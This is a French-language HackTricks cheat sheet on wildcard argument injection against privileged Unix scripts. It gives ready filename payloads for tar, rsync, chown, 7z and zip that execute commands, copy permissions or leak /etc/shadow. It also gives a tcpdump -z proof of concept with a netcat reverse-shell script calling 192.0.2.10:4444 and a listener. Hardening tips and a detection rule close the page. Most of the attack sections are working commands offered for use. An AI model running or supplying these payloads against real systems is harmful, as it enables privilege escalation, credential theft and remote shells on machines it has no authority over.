Wildcards Spare Tricks
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
L'injection d'argument de wildcard (aussi appelée glob) se produit lorsqu'un script privilégié exécute un binaire Unix tel que
tar
,chown
,rsync
,zip
,7z
, ⊠avec un wildcard non cité comme*
. Ătant donnĂ© que le shell dĂ©veloppe le wildcard avant d'exĂ©cuter le binaire, un attaquant qui peut crĂ©er des fichiers dans le rĂ©pertoire de travail peut concevoir des noms de fichiers qui commencent par-
afin qu'ils soient interprĂ©tĂ©s comme options au lieu de donnĂ©es, permettant ainsi de faire passer des drapeaux arbitraires ou mĂȘme des commandes. Cette page recueille les primitives les plus utiles, les recherches rĂ©centes et les dĂ©tections modernes pour 2023-2025.
chown / chmod
Vous pouvez copier le propriétaire/groupe ou les bits de permission d'un fichier arbitraire en abusant du drapeau --reference
:
# attacker-controlled directory
touch "--reference=/root/secret``file" # â filename becomes an argument
Lorsque root exécute ensuite quelque chose comme :
chown -R alice:alice *.php
chmod -R 644 *.php
--reference=/root/secret``file
est injecté, ce qui fait que tous les fichiers correspondants héritent de la propriété/des permissions de /root/secret``file
.
PoC & outil : wildpwn
(attaque combinée).
Voir aussi le document classique de DefenseCode pour plus de détails.
tar
GNU tar (Linux, *BSD, busybox-full)
Exécutez des commandes arbitraires en abusant de la fonctionnalité checkpoint :
# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
Une fois que root exécute par exemple tar -czf /root/backup.tgz *
, shell.sh
est exécuté en tant que root.
bsdtar / macOS 14+
Le tar
par défaut sur les versions récentes de macOS (basé sur libarchive
) n'implémente pas --checkpoint
, mais vous pouvez toujours obtenir une exécution de code avec le drapeau --use-compress-program qui vous permet de spécifier un compresseur externe.
# macOS example
touch "--use-compress-program=/bin/sh"
Lorsque un script privilégié exécute tar -cf backup.tar *
, /bin/sh
sera lancé.
rsync
rsync
vous permet de remplacer le shell distant ou mĂȘme le binaire distant via des options de ligne de commande qui commencent par -e
ou --rsync-path
:
# attacker-controlled directory
touch "-e sh shell.sh" # -e <cmd> => use <cmd> instead of ssh
Si root archive ensuite le répertoire avec rsync -az * backup:/srv/
, le drapeau injecté lance votre shell du cÎté distant.
PoC: wildpwn
(rsync
mode).
7-Zip / 7z / 7za
MĂȘme lorsque le script privilĂ©giĂ© dĂ©fensivement prĂ©fixe le caractĂšre gĂ©nĂ©rique avec --
(pour arrĂȘter l'analyse des options), le format 7-Zip prend en charge les fichiers de liste de fichiers en prĂ©fixant le nom de fichier avec @
. Combiner cela avec un lien symbolique vous permet d'exfiltrer des fichiers arbitraires :
# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow root.txt # file we want to read
touch @root.txt # tells 7z to use root.txt as file list
Si root exécute quelque chose comme :
7za a /backup/`date +%F`.7z -t7z -snl -- *
7-Zip tentera de lire root.txt
(â /etc/shadow
) comme une liste de fichiers et échouera, imprimant le contenu sur stderr.
zip
zip
prend en charge le drapeau --unzip-command
qui est passé tel quel au shell systÚme lorsque l'archive sera testée :
zip result.zip files -T --unzip-command "sh -c id"
Injectez le drapeau via un nom de fichier conçu et attendez que le script de sauvegarde privilégié appelle zip -T
(tester l'archive) sur le fichier résultant.
Binaries supplémentaires vulnérables à l'injection de jokers (liste rapide 2023-2025)
Les commandes suivantes ont été abusées dans des CTF modernes et des environnements réels. La charge utile est toujours créée en tant que nom de fichier à l'intérieur d'un répertoire écrivable qui sera ensuite traité avec un joker :
Binaire | Drapeau Ă abuser | Effet |
---|---|---|
bsdtar | --newer-mtime=@<epoch> â @file arbitraire | Lire le contenu du fichier |
flock | -c <cmd> | Exécuter la commande |
git | -c core.sshCommand=<cmd> | Exécution de commande via git sur SSH |
scp | -S <cmd> | Lancer un programme arbitraire au lieu de ssh |
Ces primitives sont moins courantes que les classiques tar/rsync/zip mais valent la peine d'ĂȘtre vĂ©rifiĂ©es lors de la chasse.
Hooks de rotation tcpdump (-G/-W/-z) : RCE via injection argv dans les wrappers
Lorsqu'un shell restreint ou un wrapper de fournisseur construit une ligne de commande tcpdump
en concaténant des champs contrÎlés par l'utilisateur (par exemple, un paramÚtre "nom de fichier") sans citation/validation stricte, vous pouvez introduire des drapeaux tcpdump
supplémentaires. La combinaison de -G
(rotation basée sur le temps), -W
(limiter le nombre de fichiers) et -z <cmd>
(commande post-rotation) permet l'exécution de commandes arbitraires en tant qu'utilisateur exécutant tcpdump (souvent root sur les appareils).
Conditions préalables :
- Vous pouvez influencer
argv
passĂ© Ătcpdump
(par exemple, via un wrapper comme/debug/tcpdump --filter=... --file-name=<HERE>
). - Le wrapper ne nettoie pas les espaces ou les tokens préfixés par
-
dans le champ du nom de fichier.
PoC classique (exécute un script de shell inversé depuis un chemin écrivable) :
# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh
# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"
# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234
Détails :
-G 1 -W 1
force une rotation immédiate aprÚs le premier paquet correspondant.-z <cmd>
exécute la commande post-rotation une fois par rotation. De nombreuses versions exécutent<cmd> <savefile>
. Si<cmd>
est un script/interpréteur, assurez-vous que la gestion des arguments correspond à votre charge utile.
Variantes sans média amovible :
- Si vous avez un autre moyen d'écrire des fichiers (par exemple, un wrapper de commande séparé qui permet la redirection de sortie), placez votre script dans un chemin connu et déclenchez
-z /bin/sh /path/script.sh
ou-z /path/script.sh
selon la sémantique de la plateforme. - Certains wrappers de fournisseurs tournent vers des emplacements contrÎlables par l'attaquant. Si vous pouvez influencer le chemin tourné (symlink/traversée de répertoire), vous pouvez orienter
-z
pour exécuter du contenu que vous contrÎlez entiÚrement sans média externe.
Conseils de durcissement pour les fournisseurs :
- Ne passez jamais de chaĂźnes contrĂŽlĂ©es par l'utilisateur directement Ă
tcpdump
(ou à tout outil) sans listes d'autorisation strictes. Citez et validez. - N'exposez pas la fonctionnalité
-z
dans les wrappers ; exécutez tcpdump avec un modÚle fixe et sûr et interdisez complÚtement les drapeaux supplémentaires. - Abaissez les privilÚges de tcpdump (cap_net_admin/cap_net_raw uniquement) ou exécutez sous un utilisateur non privilégié dédié avec confinement AppArmor/SELinux.
Détection & Durcissement
- Désactivez le globbing de shell dans les scripts critiques :
set -f
(set -o noglob
) empĂȘche l'expansion des jokers. - Citez ou Ă©chappez les arguments :
tar -czf "$dst" -- *
n'est pas sĂ»r â prĂ©fĂ©rezfind . -type f -print0 | xargs -0 tar -czf "$dst"
. - Chemins explicites : Utilisez
/var/www/html/*.log
au lieu de*
afin que les attaquants ne puissent pas créer de fichiers frÚres commençant par-
. - Moins de privilÚges : Exécutez des tùches de sauvegarde/maintenance en tant que compte de service non privilégié au lieu de root chaque fois que possible.
- Surveillance : La rÚgle préconstruite d'Elastic Potential Shell via Wildcard Injection recherche
tar --checkpoint=*
,rsync -e*
, ouzip --unzip-command
immĂ©diatement suivi d'un processus enfant shell. La requĂȘte EQL peut ĂȘtre adaptĂ©e pour d'autres EDR.
Références
- Elastic Security â RĂšgle dĂ©tectĂ©e Potential Shell via Wildcard Injection (derniĂšre mise Ă jour 2025)
- Rutger Flohil â âmacOS â Tar wildcard injectionâ (18 dĂ©c. 2024)
- GTFOBins â tcpdump
- FiberGateway GR241AG â Full Exploit Chain
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.